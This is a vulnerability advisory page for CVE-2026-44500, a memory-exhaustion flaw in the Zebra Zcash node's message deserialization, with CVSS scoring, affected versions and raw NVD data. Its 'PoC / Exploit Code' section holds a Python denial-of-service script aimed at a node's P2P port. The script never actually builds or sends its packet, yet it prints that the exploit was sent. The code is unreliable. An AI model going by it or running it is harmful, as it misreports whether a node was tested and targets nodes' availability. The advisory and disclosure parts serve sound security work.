Security Vulnerability Report
中文
CVE-2026-44500 CVSS 5.3 MEDIUM

CVE-2026-44500

Published: 2026-05-08 15:17:02
Last Modified: 2026-05-08 18:01:53

Description

ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.4.0, prior to zebra-chain version 7.0.0, and prior to zebra-network version 6.0.0, several inbound deserialization paths in Zebra allocated buffers sized against generic transport or block-size ceilings before the tighter protocol or consensus limits were enforced. An unauthenticated or post-handshake peer could therefore force the node to preallocate and parse for orders of magnitude more data than the protocol intended, across headers messages, equihash solutions in block headers, Sapling spend vectors in V5/V4 transactions, and coinbase script bytes in blocks. This issue has been patched in zebrad version 4.4.0, zebra-chain version 7.0.0, and zebra-network version 6.0.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:zfnd:zebra-chain:*:*:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:zfnd:zebra-network:*:*:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:* - VULNERABLE
zebrad < 4.4.0
zebra-chain < 7.0.0
zebra-network < 6.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target Zcash node IP and port TARGET_IP = "127.0.0.1" TARGET_PORT = 8233 def exploit_cve_2026_44500(): """ Conceptual PoC for CVE-2026-44500. This script attempts to trigger the resource exhaustion vulnerability by sending a maliciously large header or block message. """ try: # Connect to the target node s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print(f"[+] Connected to {TARGET_IP}:{TARGET_PORT}") # Zcash network message structure (Simplified) # Start string, command_name, payload_size, checksum, payload # Malicious payload: A block header or transaction vector with an inflated size # The vulnerability lies in the allocation logic based on 'payload_size' # before validating consensus limits. # Using a large size to force pre-allocation malicious_size = 0xFFFFFFFF # Max uint32, forcing massive allocation command = b"block\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # 12 bytes placeholder checksum = b"\x00" * 4 payload = b"\x00" * 100 # Minimal actual data, but header claims huge size # Construct message (Simplified for demonstration) # In a real exploit, specific wire protocol framing is required. # This demonstrates the concept of sending a large size indicator. print("[+] Sending malicious packet with large size indicator...") # s.send(full_message) # Note: Actual implementation requires correct Zcash P2P message framing. print("[+] Exploit packet sent. Monitor node memory usage.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_cve_2026_44500()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44500", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:17:01.777", "lastModified": "2026-05-08T18:01:52.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.4.0, prior to zebra-chain version 7.0.0, and prior to zebra-network version 6.0.0, several inbound deserialization paths in Zebra allocated buffers sized against generic transport or block-size ceilings before the tighter protocol or consensus limits were enforced. An unauthenticated or post-handshake peer could therefore force the node to preallocate and parse for orders of magnitude more data than the protocol intended, across headers messages, equihash solutions in block headers, Sapling spend vectors in V5/V4 transactions, and coinbase script bytes in blocks. This issue has been patched in zebrad version 4.4.0, zebra-chain version 7.0.0, and zebra-network version 6.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-chain:*:*:*:*:*:rust:*:*", "versionEndExcluding": "7.0.0", "matchCriteriaId": "6BF3BDC0-FD8D-4265-B8BC-139BF28710E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-network:*:*:*:*:*:rust:*:*", "versionEndExcluding": "6.0.0", "matchCriteriaId": "8E807203-EE55-46B2-8CD1-29047653BCFF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:*", "versionEndExcluding": "4.4.0", "matchCriteriaId": "23232F98-CB60-4B90-B46A-430E3E1CE10B"}]}]}], "references": [{"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-438q-jx8f-cccv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}